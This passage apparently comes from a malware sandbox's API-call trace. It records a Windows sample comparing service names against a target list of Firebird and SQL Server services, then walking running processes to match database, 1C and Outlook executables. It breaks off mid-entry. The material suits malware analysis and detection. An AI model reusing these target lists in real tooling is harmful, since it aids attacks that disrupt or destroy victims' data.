(lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.026] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0037.026] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0037.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0037.026] lstrlenW (lpString="AudioSrv") returned 8 [0037.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0037.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0037.026] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0037.027] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0037.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0037.027] lstrlenW (lpString="BFE") returned 3 [0037.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0037.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0037.027] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0037.027] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0037.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0037.027] lstrlenW (lpString="CryptSvc") returned 8 [0037.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0037.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0037.027] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0037.027] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0037.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0037.027] lstrlenW (lpString="CscService") returned 10 [0037.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0037.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0037.027] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0037.027] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0037.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0037.027] lstrlenW (lpString="DcomLaunch") returned 10 [0037.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.027] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0037.027] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0037.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0037.027] lstrlenW (lpString="Dhcp") returned 4 [0037.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0037.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0037.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0037.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0037.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0037.027] lstrlenW (lpString="Dnscache") returned 8 [0037.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0037.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0037.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0037.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0037.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0037.028] lstrlenW (lpString="DPS") returned 3 [0037.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0037.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0037.028] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0037.028] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0037.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0037.028] lstrlenW (lpString="eventlog") returned 8 [0037.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0037.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0037.028] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0037.028] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0037.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0037.028] lstrlenW (lpString="EventSystem") returned 11 [0037.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0037.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0037.028] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0037.028] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0037.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0037.028] lstrlenW (lpString="FontCache") returned 9 [0037.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0037.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0037.028] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0037.028] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0037.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0037.028] lstrlenW (lpString="gpsvc") returned 5 [0037.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0037.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0037.028] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0037.028] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0037.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0037.028] lstrlenW (lpString="iphlpsvc") returned 8 [0037.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.028] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0037.029] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0037.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0037.029] lstrlenW (lpString="LanmanServer") returned 12 [0037.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0037.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0037.029] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0037.029] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0037.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0037.029] lstrlenW (lpString="LanmanWorkstation") returned 17 [0037.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.029] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0037.029] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0037.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0037.029] lstrlenW (lpString="lmhosts") returned 7 [0037.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0037.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0037.029] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0037.029] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0037.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0037.029] lstrlenW (lpString="MMCSS") returned 5 [0037.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0037.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0037.029] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0037.029] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0037.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0037.029] lstrlenW (lpString="MpsSvc") returned 6 [0037.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0037.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0037.029] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0037.029] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0037.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0037.029] lstrlenW (lpString="Netman") returned 6 [0037.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0037.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0037.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0037.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0037.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0037.030] lstrlenW (lpString="netprofm") returned 8 [0037.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0037.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0037.030] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0037.030] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0037.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0037.030] lstrlenW (lpString="NlaSvc") returned 6 [0037.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0037.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0037.030] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0037.030] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0037.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0037.030] lstrlenW (lpString="nsi") returned 3 [0037.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0037.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0037.030] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0037.030] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0037.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0037.030] lstrlenW (lpString="PcaSvc") returned 6 [0037.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0037.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0037.030] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0037.030] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0037.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0037.030] lstrlenW (lpString="PlugPlay") returned 8 [0037.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0037.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0037.030] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0037.030] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0037.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0037.030] lstrlenW (lpString="Power") returned 5 [0037.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0037.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0037.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0037.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0037.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0037.031] lstrlenW (lpString="ProfSvc") returned 7 [0037.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0037.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0037.031] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0037.031] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0037.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0037.031] lstrlenW (lpString="RpcEptMapper") returned 12 [0037.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.031] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0037.031] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0037.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0037.031] lstrlenW (lpString="RpcSs") returned 5 [0037.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0037.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0037.031] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0037.031] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0037.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0037.031] lstrlenW (lpString="SamSs") returned 5 [0037.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0037.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0037.031] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0037.031] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0037.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0037.031] lstrlenW (lpString="Schedule") returned 8 [0037.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0037.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0037.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0037.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0037.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0037.031] lstrlenW (lpString="SENS") returned 4 [0037.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0037.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0037.031] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0037.032] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0037.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0037.032] lstrlenW (lpString="ShellHWDetection") returned 16 [0037.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.032] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0037.032] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0037.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0037.032] lstrlenW (lpString="Spooler") returned 7 [0037.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0037.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0037.032] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0037.032] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0037.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0037.032] lstrlenW (lpString="sppsvc") returned 6 [0037.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0037.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0037.032] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0037.032] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0037.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0037.032] lstrlenW (lpString="SysMain") returned 7 [0037.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0037.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0037.032] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0037.032] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0037.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0037.032] lstrlenW (lpString="Themes") returned 6 [0037.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0037.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0037.032] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0037.032] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0037.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0037.032] lstrlenW (lpString="TrkWks") returned 6 [0037.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0037.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0037.033] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0037.033] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0037.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0037.033] lstrlenW (lpString="UxSms") returned 5 [0037.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0037.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0037.033] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0037.033] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0037.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0037.033] lstrlenW (lpString="WdiServiceHost") returned 14 [0037.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0037.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0037.033] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0037.033] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0037.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0037.033] lstrlenW (lpString="WdiSystemHost") returned 13 [0037.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0037.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0037.033] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0037.033] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0037.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0037.033] lstrlenW (lpString="WinDefend") returned 9 [0037.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0037.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0037.033] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0037.033] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0037.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0037.033] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0037.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0037.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0037.033] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0037.033] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0037.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0037.033] lstrlenW (lpString="Winmgmt") returned 7 [0037.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0037.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0037.034] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0037.034] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0037.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0037.034] lstrlenW (lpString="wscsvc") returned 6 [0037.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0037.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0037.034] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0037.034] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0037.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0037.034] lstrlenW (lpString="wuauserv") returned 8 [0037.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0037.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0037.034] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0037.034] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0037.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0037.034] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37f06f0 | out: hHeap=0x520000) returned 1 [0037.034] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0037.041] Process32FirstW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0037.042] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0037.042] lstrlenW (lpString="System") returned 6 [0037.042] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0037.042] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0037.042] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0037.042] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0037.042] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0037.042] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0037.042] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0037.042] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0037.043] lstrlenW (lpString="smss.exe") returned 8 [0037.043] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0037.043] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0037.043] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0037.043] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0037.043] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0037.043] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0037.043] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0037.043] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.044] lstrlenW (lpString="csrss.exe") returned 9 [0037.044] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0037.044] lstrlenW (lpString="wininit.exe") returned 11 [0037.044] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.045] lstrlenW (lpString="csrss.exe") returned 9 [0037.045] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0037.045] lstrlenW (lpString="winlogon.exe") returned 12 [0037.045] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0037.046] lstrlenW (lpString="services.exe") returned 12 [0037.046] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0037.046] lstrlenW (lpString="lsass.exe") returned 9 [0037.046] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0037.047] lstrlenW (lpString="lsm.exe") returned 7 [0037.047] Process32NextW (in: hSnapshot=0x168, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, 